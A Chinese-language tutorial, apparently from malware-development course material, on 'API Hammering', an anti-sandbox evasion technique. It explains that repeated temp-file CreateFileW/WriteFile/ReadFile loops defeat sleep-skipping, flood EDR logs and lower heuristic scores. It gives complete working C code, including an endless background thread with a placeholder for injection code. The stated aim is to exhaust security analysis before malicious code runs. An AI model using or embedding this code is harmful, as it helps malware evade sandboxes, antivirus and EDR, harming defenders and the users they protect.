API Hammering 技术

API Hammering(API 暴力攻击) 是一种极具对抗性的反沙箱技术。它的核心思想不是简单的休眠,而是通过产生大量的“背景噪音”来干扰监控系统。它主要通过高频、快速地调用大量随机的合法 WinAPI 来达成目的。

核心原理

  • 延迟执行(Delay Execution):不同于传统的 Sleep(容易被沙箱快进),API Hammering 通过执行数以万计的真实 API 调用来消耗 CPU 时间。沙箱如果尝试快进每一个 API,可能会导致逻辑错误;如果不快进,则会因为分析超时而放弃。
  • 调用栈混淆(Call Stack Obfuscation):当恶意代码执行关键操作(如解密 Payload 或注入内存)时,如果安全软件在此时进行堆栈回溯(Stack Walk),它会发现调用栈中充斥着大量看似无害的、随机的系统调用(如获取时间、查询系统信息等)。这使得分析人员和自动化检测引擎很难定位到真正的恶意逻辑起点。

1、I/O 函数

API Hammering 的实战中,选择哪些 API 至关重要。这里选择了 CreateFileWWriteFileReadFile。这三者之所以被选中,是因为 文件 I/O 操作 是计算机系统中最耗时的任务之一,涉及到用户态与内核态的频繁切换以及硬件读写开销。

通过循环调用这些 API 处理海量数据,恶意软件可以人为地制造出巨大的 CPU 和磁盘负载。

实现机制

  • CreateFileW:反复在临时目录创建、打开和关闭文件。每次调用都需要操作系统进行权限检查、句柄分配和文件系统元数据更新。
  • WriteFile:向文件中写入大量随机数据。这不仅消耗 CPU 计算随机数的时间,更会强制操作系统管理磁盘缓冲区。
  • ReadFile:将刚刚写入的数据读回内存。这种“写了读,读了删”的无意义循环,对真实的物理机器来说只是短暂的负载,但对虚拟化的沙箱环境来说,处理这些模拟硬件操作会产生巨大的计算压力。

2、实现步骤

API Hammering 可通过以下五个步骤,在 dwStress(循环压力值)的驱动下反复执行。

步骤 1、路径伪装

使用 GetTempPathW 获取系统临时文件夹路径(通常为 C:\Users\<用户>\AppData\Local\Temp)。在该目录下创建临时文件,能够完美混淆在系统安装、下载或更新时的正常 IO 流量中。

步骤 2、数据生成与写入

生成一个固定大小的随机缓冲区,通过 WriteFile 写入文件。这步操作不仅消耗了产生随机数的 CPU 周期,还产生了真实的磁盘写入负载。

步骤 3、重新打开并标记

关闭文件写入句柄,并使用 CreateFileW 重新打开文件读取句柄。此时使用 FILE_FLAG_DELETE_ON_CLOSE 标志。这是一个高级技巧,它告诉操作系统:一旦该文件所有的句柄都被关闭,立即物理删除该文件。

步骤 4、数据回读与清理

使用 ReadFile 将刚才写入的数据重新读入内存。随后立即清理并释放(Free)该内存缓冲区。这通过内存与磁盘的往返传输,进一步拉长了执行时间。

步骤 5、自动销毁

最终关闭句柄,由于之前设置了删除标志,文件会自动从磁盘消失,不留任何痕迹。

3、通过 API Hammering 延迟执行

为了通过 API Hammering 实现延迟执行,我们需要先计算出 ApiHammering 函数执行特定次数循环所需的时间。为此,可以使用 GetTickCount64 WinAPI 来分别测量调用该函数前后的系统时间戳。在本例中,我们将循环次数设定为 1000 次

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#define SECTOSTRESS(i)( (int)i * 547 )

int main() {

	DWORD T0 = NULL;
	DWORD T1 = NULL;

	T0 = GetTickCount64();

	if (!ApiHammering(1000)) {
		return -1;
	}

	T1 = GetTickCount64();

	printf(">>> ApiHammering(1000) Took : %d MilliSeconds To Complete.\n", (DWORD)(T1 - T0));
	printf("[#] Press <Enter> To Quit ... ");
	getchar();


	// Since 1000 loop cycles took 1.828 seconds (1828 ms), each one second will take 1000 / 1.828 = 547. 
	// #define SECTOSTRESS(i)( (int)i * 547 )

	T0 = GetTickCount64();

	if (!ApiHammering(SECTOSTRESS(5))) {
		return -1;
	}

	T1 = GetTickCount64();

	printf(">>> ApiHammering Delayed Execution For : %d \n", (DWORD)(T1 - T0));
	
	printf("[#] Press <Enter> To Quit ... ");
	getchar();

	return 0;

}

image-20260112011020306

输出结果表明,在当前机器上执行 1000 次 API 轰击循环大约需要 1.828 秒。这是一个关键的基准数据,它揭示了该技术在实际环境中的效能特征。

转换秒为循环次数:

以下SECTOSTRESS宏可以将秒数i转换为循环次数。由于 1000 个循环周期需要 1.828 秒,每秒将需要 1000 / 1.828 = 547。宏的输出应作为ApiHammering函数的参数使用。

1
#define SECTOSTRESS(i)( (int)i * 547 )

上述图片的输出,显示 ApiHammering 能够延迟执行 3250 毫秒,这大约是传递给 SECTOSTRESS 宏的值。

4、在线程中执行 API Hammering

ApiHammering 函数可以在一个运行在后台的线程中执行,直到主线程执行结束。这可以通过使用 CreateThread WinAPI 实现。ApiHammering 函数应该传递 -1 的值,使其无限循环执行。

1
CreateThread(NULL, NULL, ApiHammering, -1, NULL, &dwThreadId);

在无符号整数中,-1 代表 最大值(例如 4,294,967,295)。告诉轰击函数:“给我执行尽可能多次的调用,直到把沙箱的监控时长耗尽为止。”

核心目的是:在执行真正的恶意代码(如注入、加密等)之前,先通过大量的无意义操作耗尽安全分析产品的耐心和资源。

(1)绕过沙箱的“睡眠跳过”(Bypassing Sleep Skipping)

许多杀毒软件(AV)和沙箱在分析可疑程序时,如果遇到 Sleep() 函数,会自动“加速时间”或直接跳过等待过程,以便快速看到程序后面的行为。

  • API Hammering 的对策: 它不使用 Sleep,而是通过真实的、高频的 API 调用(如循环调用 GetProcessHeap 数百万次)来产生延迟。
  • 结果: 沙箱无法简单地跳过这些真实的指令执行,只能老老实实地运行这些循环,从而被迫消耗掉大量的真实时间。

(2)干扰行为日志(Log Obfuscation/Flooding)

动态分析工具(如 Windows API Monitor 或 EDR 软件)会记录程序调用的 API。

  • API Hammering 的对策: 短时间内产生数万条甚至数百万条垃圾 API 调用记录。
  • 结果: 这会撑爆分析日志,或者让安全人员在复核日志时,面对密密麻麻的垃圾数据,很难一眼找到真正致命的那几行代码(比如 WriteProcessMemoryCreateRemoteThread)。

(3)躲避启发式扫描(Heuristic Evasion)

一些启发式引擎会根据 API 调用的比例来判断。

  • 如果一个程序一上来就申请内存并注入,这很可疑。
  • 如果一个程序先做了几千万次正常的系统信息查询,行为看起来虽然奇怪,但更像是某种性能测试或复杂的初始化过程,可能会降低其“恶意评分”。

5、完整代码

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
#include <Windows.h>
#include <stdio.h>

// file name to be created
#define TMPFILE L"MaldevAcad.tmp"

// macro that calculate the 'stress' value (need to change)(Seconds To Stress)
#define SECTOSTRESS(i)( (int)i * 547 )

// comment to show case api hammering for execution delation
#define APIHAMMERING_IN_BACKGROUND

#ifndef APIHAMMERING_IN_BACKGROUND
#define APIHAMMERING_AS_DELAY
#endif // !APIHAMMERING_IN_BACKGROUND



BOOL ApiHammering(DWORD dwStress) {

	WCHAR szTmpPath[MAX_PATH];
	WCHAR szPath[MAX_PATH * 2];

	HANDLE hWFile = INVALID_HANDLE_VALUE;
	HANDLE hRFile = INVALID_HANDLE_VALUE;
	
	DWORD dwNumberOfBytesWritten = NULL;
	DWORD dwNumberOfBytesRead = NULL;
	
	PBYTE pRandBuffer = NULL;
	SIZE_T sBufferSize = 0xFFFFF;  // 1048575 byte

	INT Random = 0;

	// getting the tmp folder path 
	if (!GetTempPathW(MAX_PATH, szTmpPath)) {
		printf("[!] GetTempPathW Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	// constructing the file path 
	wsprintfW(szPath, L"%s%s", szTmpPath, TMPFILE);

	for (SIZE_T i = 0; i < dwStress; i++) {

		// creating the file in write mode
		if ((hWFile = CreateFileW(szPath, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_TEMPORARY, NULL)) == INVALID_HANDLE_VALUE) {
			printf("[!] CreateFileW Write Failed With Error : %d \n", GetLastError());
			return FALSE;
		}

		// allocating a buffer and filling it with a random value 
		pRandBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sBufferSize);
		Random = rand() % 0xFF;
		memset(pRandBuffer, Random, sBufferSize);

		// writing the random data into the file
		if (!WriteFile(hWFile, pRandBuffer, sBufferSize, &dwNumberOfBytesWritten, NULL) || dwNumberOfBytesWritten != sBufferSize) {
			printf("[!] WriteFile Failed With Error : %d \n", GetLastError());
			printf("[!] Written %d Bytes of %d \n", dwNumberOfBytesWritten, sBufferSize);
			return FALSE;
		}

		// clearing the buffer & closing the handle of the file
		RtlZeroMemory(pRandBuffer, sBufferSize);
		CloseHandle(hWFile);

		// openning the file in read mode & delete when closed 
		if ((hRFile = CreateFileW(szPath, GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE, NULL)) == INVALID_HANDLE_VALUE) {
			printf("[!] CreateFileW Read Failed With Error : %d \n", GetLastError());
			return FALSE;
		}

		// reading the random data written before
		if (!ReadFile(hRFile, pRandBuffer, sBufferSize, &dwNumberOfBytesRead, NULL) || dwNumberOfBytesRead != sBufferSize) {
			printf("[!] ReadFile Failed With Error : %d \n", GetLastError());
			printf("[!] Read %d Bytes of %d \n", dwNumberOfBytesRead, sBufferSize);
			return FALSE;
		}

		// cleaning the buffer & freeing it
		RtlZeroMemory(pRandBuffer, sBufferSize);
		HeapFree(GetProcessHeap(), NULL, pRandBuffer);

		// closing the handle of the file - deleting it
		CloseHandle(hRFile);

	}

	return TRUE;
}

#ifdef APIHAMMERING_AS_DELAY

int main() {

	// GetTickCount64() is used to show how much ApiHammering was able to delay the execution
	// and is not actually needed for the implementation

	DWORD T0 = NULL;
	DWORD T1 = NULL;

	T0 = GetTickCount64();

	if (!ApiHammering(1000)) {
		return -1;
	}

	T1 = GetTickCount64();

	printf(">>> ApiHammering(1000) Took : %d MilliSeconds To Complete.\n", (DWORD)(T1 - T0));
	printf("[#] Press <Enter> To Quit ... ");
	getchar();



	// Since 1000 loop cycles took 1.828 seconds (1828 ms), each one second will take 1000 / 1.828 = 547. 
	// #define SECTOSTRESS(i)( (int)i * 547 )

	T0 = GetTickCount64();

	if (!ApiHammering(SECTOSTRESS(5))) {
		return -1;
	}

	T1 = GetTickCount64();

	printf(">>> ApiHammering Delayed Execution For : %d \n", (DWORD)(T1 - T0));
	
	printf("[#] Press <Enter> To Quit ... ");
	getchar();

	return 0;

}
#endif // APIHAMMERING_AS_DELAY



#ifdef APIHAMMERING_IN_BACKGROUND
int main() {

	DWORD dwThreadId = NULL;

	if (!CreateThread(NULL, NULL, ApiHammering, -1, NULL, &dwThreadId)) {
		printf("[!] CreateThread Created Failed With Error : %d \n", GetLastError());
		return -1;
	}

	printf("[+] Thread %d Was Created To Run ApiHummering In The Background\n", dwThreadId);

	/*
	
		Injection code can be here

	*/

	printf("[#] Press <Enter> To Quit ...");
	getchar();

	return 0;
}

#endif // APIHAMMERING_IN_BACKGROUND

运行效果:

image-20260112012507573

updatedupdated2026-01-122026-01-12